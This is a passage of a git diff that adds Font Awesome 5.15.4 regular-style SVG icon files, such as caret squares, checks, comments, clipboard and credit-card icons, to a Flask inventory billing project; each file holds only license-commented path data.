b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-left.svg new file mode 100644 index 00000000..c9e0ca74 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-right.svg new file mode 100644 index 00000000..f15bd67a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-up.svg new file mode 100644 index 00000000..20bfcf14 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/caret-square-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/chart-bar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/chart-bar.svg new file mode 100644 index 00000000..a97ea136 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/chart-bar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-circle.svg new file mode 100644 index 00000000..46677e3f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-square.svg new file mode 100644 index 00000000..80339d9b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/check-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/circle.svg new file mode 100644 index 00000000..b8225e16 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clipboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clipboard.svg new file mode 100644 index 00000000..61c6f9e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clipboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clock.svg new file mode 100644 index 00000000..bafd3e00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clone.svg new file mode 100644 index 00000000..0a5b0e9d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/clone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/closed-captioning.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/closed-captioning.svg new file mode 100644 index 00000000..63fdc2bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/closed-captioning.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-alt.svg new file mode 100644 index 00000000..c7c78d8d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-dots.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-dots.svg new file mode 100644 index 00000000..8d37a010 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment-dots.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment.svg new file mode 100644 index 00000000..02cbf31e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comment.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comments.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comments.svg new file mode 100644 index 00000000..60a7bddf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/comments.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/compass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/compass.svg new file mode 100644 index 00000000..cee0239f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/compass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copy.svg new file mode 100644 index 00000000..7b6a15bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copyright.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copyright.svg new file mode 100644 index 00000000..056234c6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/copyright.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/credit-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/credit-card.svg new file mode 100644 index 00000000..84424836 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/credit-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dizzy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dizzy.svg new file mode 100644 index 00000000..12a8f889 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dizzy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dot-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dot-circle.svg new file mode 100644 index 00000000..b2a301f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/dot-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/edit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/edit.svg new file mode 100644 index 00000000..5b721e2e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/edit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 